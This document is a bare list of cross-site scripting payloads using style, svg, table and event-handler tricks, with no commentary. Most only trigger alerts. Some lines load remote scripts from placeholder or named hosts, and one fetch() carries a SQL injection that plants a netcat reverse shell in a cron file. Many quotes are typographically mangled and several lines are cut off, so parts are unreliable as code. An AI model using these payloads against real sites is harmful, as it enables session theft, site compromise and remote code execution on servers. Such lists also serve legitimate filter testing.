</style ><script :-(>/**/alert(document.location)/**/</script :-(
</style></script><script>alert(0x0001)</script>
‘</style></script><script>alert(0x0001)</script>
‘\” ?</style></script><script>alert(0x0001)</script>
\”></style></script><script>alert(0x0001)</script>
\”>’</style></script><script>alert(0x0001)</script>
</style></scRipt><scRipt>alert(1)</scRipt>
‘“ ?</style></scRipt><scRipt>alert(‘1POS ED’)</scRipt>
“ ?</style></script><script>alert(“1”)</script>
<///style///><span %2F onmousemove=’alert&lpar;1&rpar;’>SPAN
<///style///><span %2F onmousemove=’confirm&lpar;1&rpar;’>SPAN
<style><!?—?</style><script>alert(‘1’);// ?</script>
<style><!?—?</style><script>document.vulnerable=true;// ?</script>
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘1’)”)}</STYLE>
<style></style\x09<img src=”about:blank” onerror=javascript:alert(1)//></style>
<style></style\x0A<img src=”about:blank” onerror=javascript:alert(1)//></style>
<style></style\x0D<img src=”about:blank” onerror=javascript:alert(1)//></style>
<style></style\x20<img src=”about:blank” onerror=javascript:alert(1)//></style>
<style></style\x3E<img src=”about:blank” onerror=javascript:alert(1)//></style>
<style>//<!?—?</style> ?*{x:expression(alert(/@jackmasa/))}//<style></style> 
<style>//<!?—?</style> ?*{x:expression(confirm(4))}//<style></style>
<style>#test{x:expression(alert(/1/))}</style>
</stYle/</titLe/</teXtarEa/</scRipt/?—?!>
<STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘X7SS’)”)}</STYLE>
<;STYLE type=”;text/css”;>;BODY{background:url(“;javascript:alert(‘;1’;)”;)}<;/STYLE>;
<STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘1’)”)}</STYLE> 
<STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘1’)”)}</STYLE>
<STYLE type=”text/css”>BODY{background:url(“javascript:alert(1)”)}</STYLE>
<STYLE type=”text/css”>BODY{background:url(“javascript:confirm(document.location)”)}</STYLE>
<style type=”text/css”>BODY{background:url(“javascript:document.vulnerable=true”)}</style>
<STYLE type=”text/css”>BODY{background:url(“javascript:javascript:alert(1)”)}</STYLE>
<style type=text/css>@import url(http://www.xxx.com/1.css);</style>
<STYLE TYPE=”text/css”>.1{background-image:url(“javascript:alert(‘X6SS’)”);}</STYLE><A CLASS=1></A>
<STYLE TYPE=”text/css”>.1{background-image:url(“javascript:alert(‘1’)”);}</STYLE><A CLASS=1></A>
<STYLE TYPE=”text/javascript”>alert(‘X4SS’);</STYLE>
<STYLE TYPE=”text/javascript”>alert(“1”)
<;STYLE TYPE=”;text/javascript”;>;alert(‘;1’;);<;/STYLE>;
<STYLE TYPE=”text/javascript”>alert(‘1’);</STYLE>
<STYLE TYPE=”text/javascript”>alert(1);</STYLE>
<STYLE TYPE=”text/javascript”>confirm(document.location);</STYLE>
<style type=”text/javascript”>document.vulnerable=true;</style>
<style TYPE=”text/javascript”>document.vulnerable=true;</style>
<STYLE TYPE=”text/javascript”>javascript:alert(1);</STYLE>
<STYLE>width:expression(alert(‘anyunix’));</STYLE>
<style>*{x:???A????????????????(javascript:alert(1))}</style>
<style>*{x:A(javascript:alert(1))}</style>
<style>*{x:A(write(1))}</style>
<style>#x{display:block}#x:target{display:none}@keyframes test {}</style>
<// style=x:expression\28write(1)\29>
</**/style=x:expression\28write(1)\29>
<// style=x:expression\28write(1)\29> // Works upto IE7 ?http://html5sec.org/#71
<style>//*{x:expression(alert(/1/))}//<style></style>
<;STYLE>;.1{background-image:url(“;javascript:alert(‘;1’;)”;);}<;/STYLE>;<;A CLASS=1>;<;/A>;
<STYLE>.1{background-image:url(“javascript:alert(‘1’)”);}</STYLE><A CLASS=1></A>
<STYLE>.1{background-image:url(“javascript:alert(1)”);}</STYLE><A CLASS=1></A>
<STYLE>.1{background-image:url(“javascript:confirm(document.location)”);}</STYLE><A CLASS=1></A>
<style>.1{background-image:url(“javascript:document.vulnerable=true”);}</STYLE><A CLASS=1></a>
<STYLE>.1{background-image:url(“javascript:javascript:alert(1)”);}</STYLE><A CLASS=1></A>
style=\”1:’” onclick=”alert(1)//’”
style=1:’”/onclick=alert(1)//’
{{(_=’’.sub).call.call({}[$=’constructor’].getOwnPropertyDescriptor(_.__proto__,$).value,0,’alert(1)’)()}}
{{(_=””.sub).call.call({}[$=”constructor”].getOwnPropertyDescriptor(_.__proto__,$).value,0,”alert(1)”)()}}
<svg
<svg%09%0A%0B%0C%0D%A0%00%20onload
<svg%09%28%3Bonload=confirm(1);>
<svg %09onload%09=prompt(1)>
<svg%0Ao%00nload=%09((pro\u006dpt))()//
<svg%20onload=eval%28%27/*%27%2bURL%29>#*/alert%28document.domain%29
<svg%20onload=eval(unescape(location))><title>*/;alert(2);function%20text(){};function%20html(){}
<svg%20onload=evt.target.innerHTML=evt.target.ownerDocument.URL>#<img src=/ onerror=alert(domain)>
<svg[9,10,12,13,32,47]onload=alert(1)>
<svg><animate attributename=x end=180 onend=alert(180)>
<svg><animate attributename=x end=188 onend=alert(188)>
<svg><animate attributename=x end=1 onend=alert(44)>
<svg><animate attributeName=x onbegin=alert(190)>
<svg><animate href=#k attributename=href to=/ from=data:,alert(60)><script/id=k></script>
<svg><animate onbegin=alert(189)>
<svg><animate onbegin=alert(45)> <svg><animate attributeName=x onbegin=alert(450)>
<svg><animate xlink:href=#x attributeName=href values=&#106;avascript:alert(1) /><a id=x><rect width=100 height=100 /></a>
<svg><animation x:href=javascript:alert(1)>
“><svg/a=#”onload=’/*#*/prompt(1)’
<svg><a><rect width=100% height=100%>
<svg><a><rect width=100% height=100%><animate attributeName=href from=//google.com to=?>
<svg><a><rect width=100% height=100% /><animate attributeName=href to=//google.com>
<svg><a><rect width=100% height=100% /><animate attributeName=href to=javas&#99ript:alert(1)>
<svg><a><rect width=100% height=100%><animate attributeName=width from=0 to=100% dur=2s>
<svg><a><script>alert(1)</a>
<svg><a xlink:href=”javascript:alert(1)”><rect width=”1000" height=”1000" fill=”white”/>click</a></svg>
<svg><a xml:base=”javascript:alert(1)//” href=”#”><circle r=”100" /></svg>
<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate
<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(176) to=&>
<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=&>
<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=%26>
<svg><![CDATA[><image xlink:href=”]]><img src=xx:x onerror=alert(2)//”></svg>
<svg><![CDATA[><imagexlink:href=”]]><img/src=xx:xonerror=alert(2)//”</svg>
<svg><![CDATA[><imagexlink:href=”]]><img/src=xx:xonerror=alert(2)//”></svg>
<Svg> <! [CDATA [> <imagexlink: href = “]]> <img / src = xx: xonerror = alert (2) //”> </ svg>
<svg><![CDATA[><imagexlink:href=”]]><img/src=xx:xonerror=alert(2)//”></svg> // By Secalert
<svg contentScriptType=text/vbs><script>
<svg contentScriptType=text/vbs><script>MsgBox 
<svg contentScriptType=text/vbs><script>MsgBox”1"<i>
<svg contentScriptType=text/vbs><script>1
<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>
<svg><div onactivate=alert(‘1’)
<svg><div onactivate=alert(‘1’) id=1 style=overflow:scroll>
<svg><doh onload=confirm(1)>
<svgEonload=alert(1)>
<svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg>
<svg id=1 onload=confirm(1)>
<svg id=alert(1337) onload=eval(id)>
<svg id=alert(1) onload=eval(id)>
<svg id=javascript:alert(1337) onload=location=id>
<svg id=?p=<script/src=//3237054390/1%2B onload=location=id>
<svg id=?p=<svg/onload=alert(1)%2B onload=location=id>
<svg id=t:alert(1) name=javascrip onload=location=name+id>
<svg><image x:href=”data:image/svg-xml,%3Csvg xmlns=’http://www.w3.org/2000/svg' onload=’alert(1)’%3E%3C/svg%3E”>
<svg><image x:href=”data:image/svg-xml,%3Csvg xmlns=’http://www.w3.org/2000/svg' onload=’confirm(1)’%3E%3C/svg%3E”>
<svg/language=vbs onload=msgbox-1
<svg onclick=popup=1;>
<svg/onload%0B=prompt(1)>
<SVG/ONLOAD=&#112&#114&#111&#109&#112&#116(1)
<SVG/ONLOAD=&#112&#114&#111&#109&#112&#116(1) // Cross Browser
<svg </onload =”1> (_=alert,_(1)) “”>
<svg </onload =”1> (_=alert,_(1337)) “”>
<SVG ONLOAD=&#97&#108&#101&#114&#116(1)>
<SVG ONLOAD=&#97&#108&#101&#114&#116(186)>
<SVG ONLOAD=&#97&#108&#101&#114&#116(47)>
<svg+onload=+”aler%25%37%34(1)”
<! ?<svg onload=alert(1)> ?
<svg onload=”alert(1)”
<svg onload=alert`1`>
<svg onload=alert(1)>
<svg onload=alert(1)//
????svg onload??alert?]1?^??
“><svg onload=alert(1)>
“><svg onload=alert(1)//
\<svg/onload=alert`1`\>
<Svg OnLoad=alert(1)>
????svg onload??alert?]183?^??
<svg onload=(alert)(1) >//INJECTX
<svg/onload=alert(1)>//INJECTX
<svg onload=alert&#40;1&#41>
‘<’s’v’g’ o’n’l’o’a’d’=’a’l’e’r’t’(‘7’)’ ‘>’
<svg onload=alert(75)>
“><svg onload=alert(76)//
<svg/onload=alert(domain)>
<svg/onload=alert`INJECTX`>
<svg/onload=alert(`INJECTX`)>
<svg/onload=alert(/INJECTX/)>
<svg onload=alert&lpar;1&rpar;>
<svg onload=alert(navigator.battery.charging)>
<svg onload=alert(navigator.battery.dischargingTime)>
<svg onload=alert(navigator.battery.level)>
<svg onload=alert(navigator.connection.type)>
<svg/onload=alert(String.fromCharCode(88,83,83))>
“><svg/onload=alert(String.fromCharCode(88,83,83))>
<svg onload=alert(tagName)>
<svg onload=alert&#x28;1&#x29>
<svg onload=alert(‘1’)>
<svg/onload=alert(‘1’)>
“><svg/onload=alert(/1/)
<svg/onload=body[name]=URL%0d#</svg><img src=x onerror=alert(1)>”
<svg/onload=confirm(0);prompt(0);>
“<svg/onload=confirm(0);prompt(0);>”
<svg onload=confirm(1)
<svg/onload=confirm(1)
“><svg/onload=confirm(58)>”@x.y
<svg onload=”confirm(7)”>
“><svg onload=”confirm(7)”>
“/><svg/onload=confirm(/1/.source);prompt(String.fromCharCode(88,83,83));prompt(0)>
“\”/><svg/onload=confirm(/1/.source);prompt(String.fromCharCode(88,83,83));prompt(0)>”
“><svg/onload=co\u006efir\u006d`1`>
<svg+onload=+”[DATA]”
<svg/onload=document.location.href=’data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=’>
<svg/onload=document.location.href=’https://google.com'>
<svg onload=document.writeln(decodeURI(location.hash))>#<img src=1 onerror=alert(1)>
<svg onload=document.write(‘1’)>
<svg/onload=eval(atob(location.hash.slice(1)))>
<svg/onload=eval(atob(location.hash.slice(1)))>#d2l0aChkb2N1bWVudClib2R5LmFwcGVuZENoaWxkKGNyZWF0ZUVsZW1lbnQoL3NjcmlwdC8uc291cmNlKSkuc3JjPWF0b2IoL0x5OWljblYwWld4dloybGpMbU52YlM1aWNpOHkvLnNvdXJjZSk=
<svg/onload=eval(atob(location.hash.slice(1)))>#YWxlcnQoMSkvLw==
<svg/onload=eval(atob(URL.slice(-148)))>
<svg/onload=eval(atob(URL.slice(-148)))>#d2l0aChkb2N1bWVudClib2R5LmFwcGVuZENoaWxkKGNyZWF0ZUVsZW1lbnQoL3NjcmlwdC8uc291cmNlKSkuc3JjPWF0b2IoL0x5OWljblYwWld4dloybGpMbU52YlM1aWNpOHkvLnNvdXJjZSk=
<svg onload=eval(document.cookie)>
<svg onload=eval(location.hash.slice(1)>#alert(1)
<svg/onload=eval(location.hash.slice(1))>?#alert(1)
<svg/onload=eval(location.hash.slice(1))>#with(document)
<svg/onload=eval(location.hash.slice(1))>#with(document)body.appendChild(createElement(‘script’)).src=’//DOMAIN’
<svg+onload=eval(location.hash.substr(1))>#alert(1)
<svg/onload=eval(name)>
<svg onload=eval(URL)>
<svg onload=eval(URL)>//22
<svg onload=eval(‘/*’+URL)>#*/alert(document.domain)
<svg+onload=eval(URL.slice(7,15))>
<svg/onload=eval(URL.slice(-7))//#alert()
<svg onload=eval(URL.slice(-8))>#alert(1)
<svg onload=eval(URL.slice(-8))>#alert(1)/”’></script /K><Svg /onload = confirm(`1`)
<svg onload=eval(window.name)>
<svg onload=eval(window.name)//
<svg onload=evt.target[/innerHT/.source%2b/ML/.source]=evt.target[/ownerDocumen/.source%2b/t/.source][/U R/.source%2b/L/.source]#<img src=/ onerror=alert(domain)>
<svg onload=evt.target[/innerHT/.source%2b/ML/.source]=evt.target[/ownerDocumen/.source%2b/t/.source][/UR/.source%2b/L/.source]#<img src=/ onerror=alert(domain)>
<svg onload=fetch(“//HOST/?id=0+union+select’*+*+*+*+*+root+/bin/nc+-lp53+-e+/bin/sh’into+outfile’/etc/cron.d/s’”)>
<svg onload=innerHTML=location.hash>#<script>alert(1)</script>
<svg/onload=’javascript0x00:void(0)%00?void(0)&colon;confirm(1)’>
<svg onload=”javascript:alert(1)” xmlns=”#”></svg>
<svg onload=”javascript:alert(1)” xmlns=”http://www.w3.org/2000/svg"></svg>
<svg onload=”javascript:alert(9)” xmlns=”http://www.w3.org/2000/svg"></svg>
<svg onload=??javascript:alert(9)?? xmlns=??http://www.w3.org/2000/svg??></svg>
<svg/onload=location=’javas’%2B’cript:’%2B
<svg/onload=location=javas%2Bcript:%2B
<svg onload=location=’javascript:alert(1)’>
<svg/onload=location=’javascript:alert(1)’>
<svg onload=location=’javas’+’cript:’+’ale’+’rt’+location.hash.substr(1)>#(1)
<svg/onload=location=/java/.source+/script/.source+location.hash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.hash[3]//#:
<svg/onload=location=/java/.source+/script/.source+location.hash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.hash[3]#:()
<svg/onload=location=/javas/.source%2B/cript:/.source%2B
<svg/onload=location=/javas/.source%2B/cript:/.source%2B/ale/.source
<svg onload=location=/javas/.source+/cript:/.source+/ale/.source+/rt/.
<svg onload=location=/javas/.source+cript:/.source+/ale/.source+/rt/.
<svg onload=location=location.hash.substr(1)>#javascript:alert(1)
<svg/onload=location=location.hash.substr(1)>#javascript:alert(1)
<svg/onload=location=name//>
<svg/onload=location=name//
<svg/onload=location=name//>CLICK</a>
<svg/onload=location=name//??>CLICK</a>
<svg+onload=location=URL.slice(7,26)>
<svg/onload=location=window[`atob`]`amF2YXNjcmlwdDphbGVydCgxKQ==`;//
<svg onload=navigator.vibrate(500)>
<svg onload=navigator.vibrate([500,300,100])>
<svg/onload=parent[/loca/.source%2b/tion/.source]=name//
<svg onload=popup=1;>
<svg/onload=prompt(0);>
“<svg/onload=prompt(0);>”
<svg/onload=prompt(1);>
<svg/onload=prompt(1)
?—?!><svg/onload=prompt(1)
“><svg/onload=prompt(1)>
><svg/onload=prompt(1)>
??><svg/onload=prompt(??1??)>
“/><svg/onload=(prompt)(/1/)>#
><svg/onload=prompt(1-By-Muhaddi)>
<svg/onload=prompt(/1/.source);prompt(0);confirm(0);confirm(0);>
><svg/onload=prompt(/1/.source);prompt(0);confirm(0);confirm(0);>
“<svg/onload=prompt(/1/.source);prompt(0);confirm(0);confirm(0);>”
“\”><svg/onload=prompt(/1/.source);prompt(0);confirm(0);confirm(0);>”,
“><svg onload=”prompt(/1/)”></svg>
<svg onload=setInterval(function(){d=document;
<svg onload=setInterval(function(){with(document)body.
<svg/onload=setInterval(function(){with(document)body.
<svg onload=setInterval(function(){with(document)body.appendChild(createElement(‘script’)).src=’//HOST:PORT’},0)>
<svg/onload=setTimeout`alert\`1\``>
<svg onload svg onload=”javascript:javascript:alert(1)”></svg onload>
<svg onLoad svg onLoad=”javascript:javascript:alert(1)”></svg onLoad>
<svg/onload=top[??loca??%2b??tion??]=name//
<svg/onload=top[loca%2btion]=name//
<svg/onload=top[/loca/.source%2b/tion/.source]=name//
<svg/onload=u=URL,l=u.length,location=/javascrip/.source%2Bu[1]%2Bu[4]%2B/alert/.source%2Bu[l-2]%2b1%2Bu[l-1]>#()
<svg/onload=u=URL,l=u.length,location=/javascrip/.source+u[1]+u[4]+/alert/.source+u[l-2]+1+u[l-1]>#()
<svg onload=”void ‘javascript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/?—?!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e’;”></svg>
<svg onload=”void ‘javascript:/*-/*`/*\`/*’/*”/**/(/* */oNcliCk=alert() )//%0D%0A%0d
<svg/onload=window.onerror=alert;throw/1/;//
<svg/onload=window.onerror=confirm;throw/5/;//
<svg/onload=window.onerror=confirm;throw/1/;//”
<svg/onload=window.onerror=confirm;throw/1/;//
<svg onload=write(1)>
<svg onresize=”alert(1)”>
<svg onResize svg onResize=”javascript:javascript:alert(1)”></svg onResize>
<svg onunload svg onunload=”javascript:javascript:alert(1)”></svg onunload>
<svg onUnload svg onUnload=”javascript:javascript:alert(1)”></svg onUnload>
<svg><oooooo/oooooooooo/onload=alert(1) >
<svg o<script>nload=alert(1)>
<svg o<script>nload=alert(6)>
<sVG/renwa/OnLoaD+=”window[‘confirm’]+(1)”>
<sVg><scRipt %00>confirm&lpar;1&rpar;
<sVg><scRipt %00>prompt&lpar;/@soaj1664ashar/&rpar;???????????????? 
<svg><script>0<[alert(36)]</script>
<svg><script>1<1>alert(1)</script>
<svg><script>alert( 1)
“><svg><script>alert`1`
“><svg><script>/<@/>alert(1337)</script>
<svg><script>a<!>l<!>e<!>r<!>t<!>(<!>1<!>)</script>
<svg><script>/<@/>alert(1)</script>//INJECTX
<svg><script>alert(1)&sol;&sol;!#ERROR?&^%$#</script></svg>
<svg><script>alert&#40 1&#41
<svg><script>alert&#401&#41
<Svg> <script> alert & # 40 1 & # 41
<svg><script>alert&#40/1/&#41</script>
<Svg> <script> alert & # 40/1 / & # 41 </ script>
<svg><script>alert&DiacriticalGrave;1&DiacriticalGrave;<p>
<svg><script>alert&grave;1&grave;<p>
<svg><script>alert&lpar;1&rpar;</script>
<svg><script>a=’<svg/onload=alert(1)></svg>’;alert(2)</script>
<svg><script>a<svg//onload=confirm(2) />lert(1)</script>
<svg><script><![CDATA[\]]><![CDATA[u0061]]><![CDATA[lert]]>(1)</script>
<svg><script ?>confirm(1);
<svg><script ?>confirm(1)
<svg><script>confirm&#40/1/&#41</script>
<svg><script>confirm&DiacriticalGrave;1&DiacriticalGrave;<p><svg><script>confirm&grave;1&grave;<p>
<svg><script>confirm(“&quot;);confirm(‘yes’)//no”)</script>
<svg><script>location&equals;&#60&#62javascript&amp;#x3A;alert(1)&#60&#33&#47&#62;</script>
<svg><script>location&equals;&#60&#62javascript&amp;#x3A;confirm(1)&#60&#33&#47&#62;</script>
<svg><script>/*&midast;&sol;alert(‘ @0x6D6172696F ‘)&sol;&sol;*/</script></svg>?
<svg><script>/*&midast;&sol;confirm(3)&sol;&sol;*/</script></svg>
<svg><script>//&NewLine;confirm(1);</script </svg> 
“/><svg><script>//&NewLine;confirm(1);</script </svg>
<svg><script onlypossibleinopera:-)> alert(1) 
<svg><script onlypossibleinopera:-)> confirm(1)
<svg><script>prompt&#40 1&#41<i>
<svg><script>prompt&#40;1)<b>
<svg><script>prompt&#40;1)</script>
<svg><script>varmyvar=”text”;alert(1)//”;</script></svg>
<svg><script>varmyvar=”text&quot;;alert(1)//”;</script></svg>
<Svg> <script> varmyvar = “text & quot ;; alert (1) //”; </ script> </ svg>
<svg><script>varmyvar=vYourInputv;</script></svg>
<svg><script>varmyvar=YourInput;</script></svg>
<Svg> <script> varmyvar = “YourInput”; </ script> </ svg>
<svg><script x:href=’http://excis3.be/bugbounty/evil.js'
<svg><script x:href=’http://excis3.be/bugbounty/evil.js' {Opera}
<svg><script/XL:href=&VeryThinSpace;data&colon;;;;base64;;;;&comma;&lt;&gt;??YWx??lc??nQ??oMSk??=> mix! 
<svg><script xlink:href=”data:,alert(1)”>
<svg><script xlink:href=data:,alert(1) /> *
<svg><script xlink:href=data:,alert(1) /> 
<svg><script xlink:href=data:,alert(1) />
“><svg><script/xlink:href=”data:,alert(1)
<svg><script xlink:href=data:,alert(174) /> 
<svg><script xlink:href=data:,alert(1)></script>
<svg><script/xlink:href=data:,alert(1)></script>
<svg><script xlink:href=data&colon;,window.open(‘https://www.google.com/')></script
<svg><script xlink:href=data&colon;,window.open(‘https://www.google.com/') </script
<svg><set href=#k attributename=href to=data:,alert(59)><script id=k></script>
<svg><style>{font-family&colon;’<iframe/onload=confirm(1)>’
<svg><style>*{font-family:’<svg onload=alert(1)>’;}</style></svg>
<svg><style>*{font-family:’<svg onload=confirm(1)>’;}</style></svg>
<svg><style>&lt;img/src=x onerror=alert(1)// </b>
<svg><style>&ltimg src=x onerror=confirm(1)&gt</svg>
“><svg><style>{-o-link-source&colon;’<body/onload=confirm(1)>’
</svg>’’<svg><script ‘AQuickBrownFoxJumpsOverTheLazyDog’>alert&#x28;1&#x29; {Opera}
</svg>’’<svg><script ‘AQuickBrownFoxJumpsOverTheLazyDog’>confirm&#x28;1&#x29;
<svg><title><![CDATA[</title><script>alert(3)</script>]]></svg>
<svg[U+000B]onload=alert(1)>
<svg><use xlink:href=”data:image&sol;svg&plus;xml&semi;ba &NewLine;se&Tab;64&semi;&comma;PHN2ZyBpZD 0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53M y5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodH RwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiAgICB3a WR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+DQo8 YSB4bGluazpocmVmPSJqYXZhc2NyaXB0OmFsZXJ0K GxvY2F0aW9uKSI+PHJlY3QgeD0iMCIgeT0iMCIgd2lk dGg9IjEwMCIgaGVpZ2h0PSIxMDAiIC8+PC9hPg0KPC 9zdmc+#rectangle” /></svg>
<svg><use xlink:href=data:image/svg+xml;base64,PHN2ZyBpZD0iYnJ1dGUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiPg0KPGVtYmVkIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIiBzcmM9ImphdmFzY3JpcHQ6YWxlcnQoZG9jdW1lbnQuZG9tYWluKSIvPjwvc3ZnPg==#klutz>
<svg><use xlink:href=’data:image/svg+xml,<svg id=”klutz” xmlns=”http://www.w3.org/2000/svg" xmlns:xlink=”http://www.w3.org/1999/xlink"><embed xmlns=”http://www.w3.org/1999/xhtml" src=”javascript:alert(document.domain)”/></svg>#klutz’>
<svg><!V-alert(1)-
<svg><!V’-alert(1)-’
<svg width=12cm height=9cm><a><image href=//brutelogic.com.br/yt.jpg /><animate attributeName=href values=javas&#99ript:alert(1)>
<svg xml:base=”data:text/html,<script>confirm(1)</script>”><a xlink:href=”#”><circle r=”40"></circle></a></svg>
<svg xmlns=”http://www.w3.org/2000/svg">
<svg xmlns=??http://www.w3.org/2000/svg??>
<svg xmlns=”http://www.w3.org/2000/svg"> <a xmlns:xlink=”http://www.w3.org/1999/xlink" xlink:href=”javascript:alert(9)”><rect width=”1000" height=”1000" fill=”white”/></a> </svg>
<svg xmlns=”http://www.w3.org/2000/svg"><g onload=”javascript:alert(1)”></g></svg>
<svg xmlns=”http://www.w3.org/2000/svg"><g onload=”javascript:alert(9)”></g></svg>
<svg xmlns=”http://www.w3.org/2000/svg"><g onload=”javascript:confirm(1)”></g></svg>
<svg xmlns=”http://www.w3.org/2000/svg"><g onload=”javascript:\u0061lert(1);”></g></svg> //
<svg xmlns=”http://www.w3.org/2000/svg"><g onload=”javascript:\u0061lert(1);”></g></svg>
<Svg xmlns = “http://www.w3.org/2000/svg"> <g onload = “javascript: \ u0061lert (1);”> </ g> </ svg>
<svg xmlns=”http://www.w3.org/2000/svg"><g onload=”javascript:\u0061lert(1);”></g></svg> // By Secalert
<svg xmlns=”http://www.w3.org/2000/svg" id=”foo”>
<svg xmlns=”http://www.w3.org/2000/svg" id=”x”>
<svg xmlns=”http://www.w3.org/2000/svg">LOL<script>alert(1)</script></svg>
<svg xmlns=”http://www.w3.org/2000/svg" onload=”alert(document.domain)”/>
<svg xmlns=”http://www.w3.org/2000/svg"><script>alert(1)</script></svg>
<svg xmlns=”http://www.w3.org/2000/svg" xmlns:xlink=”http://www.w3.org/1999/xlink">
<svg xmlns=”#”><script>alert(1)</script></svg>
<svg xmlns:xlink=”http://www.w3.org/1999/xlink"><a><circle r=100
<svg xmlns:xlink=”http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName=”xlink:href”
<svg xmlns:xlink=”http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName=”xlink:href” values=”;javascript:alert(1)” begin=”0s” dur=”0.1s” fill=”freeze”/>
<Svg xmlns: xlink = “http://www.w3.org/1999/xlink"> <a> <circle r = 100 /> <animate attributeName = “xlink: href” values ??= “; javascript: alert (1 ) “begin =” 0s “dur =” 0.1s “fill =” freeze “/>
<svg xmlns:xlink=”http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName=”xlink:href” values=”;javascript:alert(1)” begin=”0s” dur=”0.1s” fill=”freeze”/> // By Mario
<svg xmlns:xlink=”http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName=”xlink:href” values=”;javascript:confirm(1)” begin=”0s” dur=”0.1s” fill=”freeze”/>
<svg xmlns:xlink=http://www.w3.org/1999/xlink><animate xlink:href=#x attributeName=”xlink:href” values=”&#x3000;javascript:alert(10)” /><a id=x><rect width=100 height=100 /></a>
<svg xmlns:xlink=http://www.w3.org/1999/xlink><animate xlink:href=#x attributeName=”xlink:href” values=”&#x3000;javascript:alert(1)” /><a id=x><rect width=100 height=100 /></a>
<svg xmlns:xlink=” r=100 /><animate attributeName=”xlink:href” values=”;javascript:alert(1)” begin=”0s” dur=”0.1s” fill=”freeze”/>
<svG x=”>” onload=(co\u006efirm)``>
<svg><x><script>alert(177)</x>
<svg><x><script>alert(1)</x>
<svg/x=”> <script>alert(37)</script> <”onload=alert(370)> 
<svg><x><script>alert&#40;&#39;1&#39;&#41</x>
<svg></ y=”><x” onload=alert(‘@0x6D6172696F’)>
<svg></y=”><x” onload=alert(1)>
<svg></ y=”><x” onload=confirm(4)>
swfupload.swf?buttonText=test<a href=”javascript:confirm(1)”><img src=”https://web.archive.org/web/20130730223443im_/http://appsec.ws/ExploitDB/cMon.jpg"/></a>&.swf
swfupload.swf?movieName=”]);}catch(e){}if(!self.a)self.a=!alert(1);//
<[S]x onx[S]xx=1
‘/(\t)/’,
<table background=”javascript:alert(1)”></table>
<table background=javascript:alert(1)></table>
<table background=javascript:alert(1)></table> // Works on Opera 10.5 and IE6
<TABLE BACKGROUND=”javascript:alert(‘XSqS’)”>
<TABLE BACKGROUND=”javascript:alert(‘1’)”>
<TABLE BACKGROUND=”javascript:alert(1)”>
<table background=javascript:alert(/1/)></table>/
<;TABLE BACKGROUND=”;javascript:alert(‘;1’;)”;>;<;/TABLE>;
<TABLE BACKGROUND=”javascript:alert(‘1’)”></TABLE>
<TABLE BACKGROUND=”javascript:confirm(document.location)”>
<table BACKGROUND=”javascript:document.vulnerable=true;”>
<table background=”javascript:javascript:alert(1)”>
<TABLE BACKGROUND=”javascript:javascript:alert(1)”>
<TABLE id=1 BACKGROUND=”javascript:alert(‘1’)”>
<TABLE id=1><TD BACKGROUND=”javascript:alert(‘1’)”>
<TABLE><TD BACKGROUND=”javascript:alert(‘1’)”>”
<TABLE><TD BACKGROUND=”javascript:alert(‘1’)”>
<TABLE><TD BACKGROUND=”javascript:alert(1)”>
<;TABLE>;<;TD BACKGROUND=”;javascript:alert(‘;1’;)”;>;<;/TD>;<;/TABLE>;
<TABLE><TD BACKGROUND=”javascript:alert(‘1’)”></TD></TABLE>
<table><TD BACKGROUND=”javascript:document.vulnerable=true;”>
<TABLE><TD BACKGROUND=”javascript:javascript:alert(1)”>
<table><thead%0Cstyle=font-size:700px%0Donmouseover%0A=%0Bconfirm(1)%09><td>AAAAAAAAA
<table><thead%0Cstyle=font-size:700px%0Donmouseover%0A=%0Bprompt(1)%09><td>AAAAAAAAA
<TAG EVENT=alert(1)>
<tag handler=code>
{tag}<img name=”{/tag} <img src=xx:x onerror=alert({{i}})//”>
<TAG RESOURCE=javascript:alert(1)>
tags =querySelectorAll(“.class1”);
tags =querySelectorAll(“[data-foo]”);
tags =querySelectorAll(“[data-foo^=bar]”);
tags =querySelectorAll(“myTag”);
tags = querySelectorAll(“#someId”);
</tag><svg onload=alert(1)>
“></tag><svg onload=alert(1)>
?TargetAS=javascript:alert(1)”,
target=x><input type=hidden name=comment>click me!</form>
?t=confirm(1)&k7=”><svg/t=’&k8=’onload=’/&k9=/+eval(t)’
<TD BACKGROUND=”javascript:alert(‘1’)”>
<td width=”628" background=”/img/index2_r7_c2_r1_c5_s1_s1.jpg”>
‘te’ ? alert(‘ifelsesh’) : ‘xt’;
‘te’ ^ alert(‘^’) ^ ‘xt’;
‘te’ < alert(‘<’) < ‘xt’;
‘te’ == alert(‘==’) == ‘xt’;
‘te’ > alert(‘>’) > ‘xt’;
‘te’ | alert(‘|’) | ‘xt’;
‘te’?—?alert(‘-’)?—?‘xt’;
